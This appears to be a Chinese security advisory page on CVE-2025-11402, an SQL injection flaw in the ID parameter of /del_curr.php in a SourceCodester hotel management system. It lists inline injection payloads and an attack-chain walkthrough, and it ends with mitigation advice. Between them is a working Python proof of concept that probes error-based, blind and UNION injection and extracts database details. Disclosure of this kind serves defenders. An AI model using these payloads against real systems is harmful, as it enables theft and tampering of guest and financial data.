IPBUF安全漏洞报告
English
CVE-2025-11402 CVSS 6.3 中危

CVE-2025-11402 SourceCodester酒店管理系统SQL注入漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-11402
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Hotel and Lodge Management System

相关标签

SQL注入SourceCodester酒店管理系统CVE-2025-11402中危漏洞Web应用漏洞del_curr.phpID参数注入

漏洞概述

CVE-2025-11402是SourceCodester酒店与旅馆管理系统(Hotel and Lodge Management System)1.0版本中存在的一个SQL注入漏洞。该漏洞位于系统的/del_curr.php文件中,具体涉及对参数ID的处理逻辑存在安全缺陷,攻击者可以通过构造恶意的SQL语句作为ID参数的值,实现对后台数据库的非授权操作。

该漏洞的CVSS 3.1评分为6.3分,属于中危级别。其攻击向量为网络(AV:N),攻击复杂度低(AC:L),攻击者仅需具备低权限(PR:L)即可发起攻击,无需用户交互(UI:N)。漏洞的存在对系统的机密性、完整性和可用性均产生低程度的影响。

由于该漏洞的利用方式已被公开披露,且相关PoC代码已在GitHub等平台发布,任何具备基本攻击能力的攻击者都可以利用此漏洞对目标系统发起攻击。受影响的系统主要用于酒店和旅馆的业务管理,涉及客户信息、预订记录、财务数据等敏感信息,一旦被攻击者利用,可能导致数据泄露、数据篡改甚至系统完全失陷。该漏洞已于2025年10月7日公开披露,厂商尚未发布官方补丁。

技术细节

该SQL注入漏洞的根本原因在于/del_curr.php文件在处理用户提交的ID参数时,未对该参数进行充分的输入验证和过滤,直接将用户输入拼接到SQL查询语句中执行。这种不安全的编程实践使得攻击者可以通过构造特殊的SQL注入payload,改变原始查询的语义和结构。

具体利用方式如下:攻击者首先定位到目标系统的/del_curr.php端点,通过GET或POST请求传递恶意的ID参数。例如,攻击者可以提交类似?id=1' OR '1'='1的payload,利用单引号闭合原始SQL语句中的字符串引号,再通过OR条件注入实现永真条件,绕过身份验证或获取未授权的数据访问权限。更复杂的攻击可以采用UNION SELECT联合查询方式,提取数据库中的敏感信息,如管理员凭据、用户数据等。

由于该漏洞为典型的基于错误的SQL注入或联合查询注入,攻击者可以通过构造时间盲注payload(如?id=1' AND SLEEP(5)--)来逐步提取数据库内容,即使目标系统不直接返回错误信息。此外,攻击者还可以利用堆叠查询(stacked queries)在某些数据库配置下执行多条SQL语句,进一步扩大攻击影响。

由于该漏洞的利用代码已公开,攻击门槛极低,攻击者无需高级技术能力即可实施攻击,对部署了该系统的酒店和旅馆机构构成直接威胁。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过搜索引擎或Shodan等工具识别部署了SourceCodester Hotel and Lodge Management System 1.0的目标系统,定位/del_curr.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/del_curr.php发送带有特殊字符(如单引号)的ID参数,检测系统是否返回SQL错误信息或异常响应,确认SQL注入漏洞的存在。
STEP 3
步骤3:漏洞利用
攻击者根据漏洞类型选择合适的注入方式(UNION联合查询、布尔盲注或时间盲注),构造恶意payload提取数据库中的敏感信息,如管理员凭据、用户数据等。
STEP 4
步骤4:权限提升与数据窃取
通过获取的管理员凭据登录系统后台,或直接通过SQL注入读取数据库中的所有敏感数据,包括客户信息、预订记录、财务数据等。
STEP 5
步骤5:数据篡改或破坏
攻击者可利用SQL注入执行INSERT、UPDATE、DELETE等操作,篡改或删除数据库中的关键业务数据,破坏系统的正常运营。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11402 - SourceCodester Hotel and Lodge Management System SQL Injection PoC # Vulnerability Location: /del_curr.php # Vulnerable Parameter: ID import requests # Target configuration TARGET_URL = "http://target-site.com" VULNERABLE_ENDPOINT = "/del_curr.php" # Step 1: Basic SQL Injection test - Error-based detection def test_error_based(target_url): """Test for error-based SQL injection""" payload = "1'" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if "error" in response.text.lower() or "syntax" in response.text.lower(): print(f"[+] Error-based SQL Injection detected at: {url}") return True return False # Step 2: Boolean-based blind SQL Injection def boolean_blind_injection(target_url): """Exploit boolean-based blind SQL injection to extract data""" # True condition true_payload = "1' AND '1'='1" true_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={true_payload}") # False condition false_payload = "1' AND '1'='2" false_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={false_payload}") if true_response.text != false_response.text: print("[+] Boolean-based blind SQL Injection confirmed") return True return False # Step 3: Time-based blind SQL Injection def time_based_injection(target_url): """Exploit time-based blind SQL injection""" import time payload = "1' AND SLEEP(5)-- -" start_time = time.time() requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}") elapsed_time = time.time() - start_time if elapsed_time >= 5: print("[+] Time-based blind SQL Injection confirmed") return True return False # Step 4: UNION-based SQL Injection to extract data def union_injection(target_url): """Extract database information using UNION injection""" # Determine number of columns first for i in range(1, 10): columns = ",".join([str(x) for x in range(1, i+1)]) payload = f"-1' UNION SELECT {columns}-- -" url = f"{target_url}{VULNERABLE_ENDPOINT}?id={payload}" response = requests.get(url) if response.status_code == 200 and "error" not in response.text.lower(): print(f"[+] UNION injection works with {i} columns") # Extract database version and current user info_payload = f"-1' UNION SELECT database(),version(),user()-- -" info_response = requests.get(f"{target_url}{VULNERABLE_ENDPOINT}?id={info_payload}") print(f"[+] Database info: {info_response.text}") return True return False # Main execution if __name__ == "__main__": print(f"[*] Testing CVE-2025-11402 against {TARGET_URL}") test_error_based(TARGET_URL) boolean_blind_injection(TARGET_URL) time_based_injection(TARGET_URL) union_injection(TARGET_URL)

影响范围

SourceCodester Hotel and Lodge Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)对/del_curr.php文件中的ID参数实施严格的输入验证,仅允许数字类型输入;2)在Web服务器层面部署WAF规则,拦截常见的SQL注入payload;3)限制该文件对外部网络的直接访问,仅允许经过身份验证的用户访问;4)监控数据库日志,及时发现异常的SQL查询行为;5)考虑暂时禁用或移除/del_curr.php功能模块,直到官方发布修复补丁。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表